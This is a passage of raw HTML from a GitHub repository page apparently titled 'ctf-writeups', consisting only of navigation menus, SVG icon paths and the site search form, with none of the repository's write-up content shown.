1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="A4orIEbONKNvCXqKRLM4UXz0k3MWZI5eiwTV7y6+WLye+6a9GklUejnu6hE/gtDXgTMdSH/ZyBkeVYGcMqHi9A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus 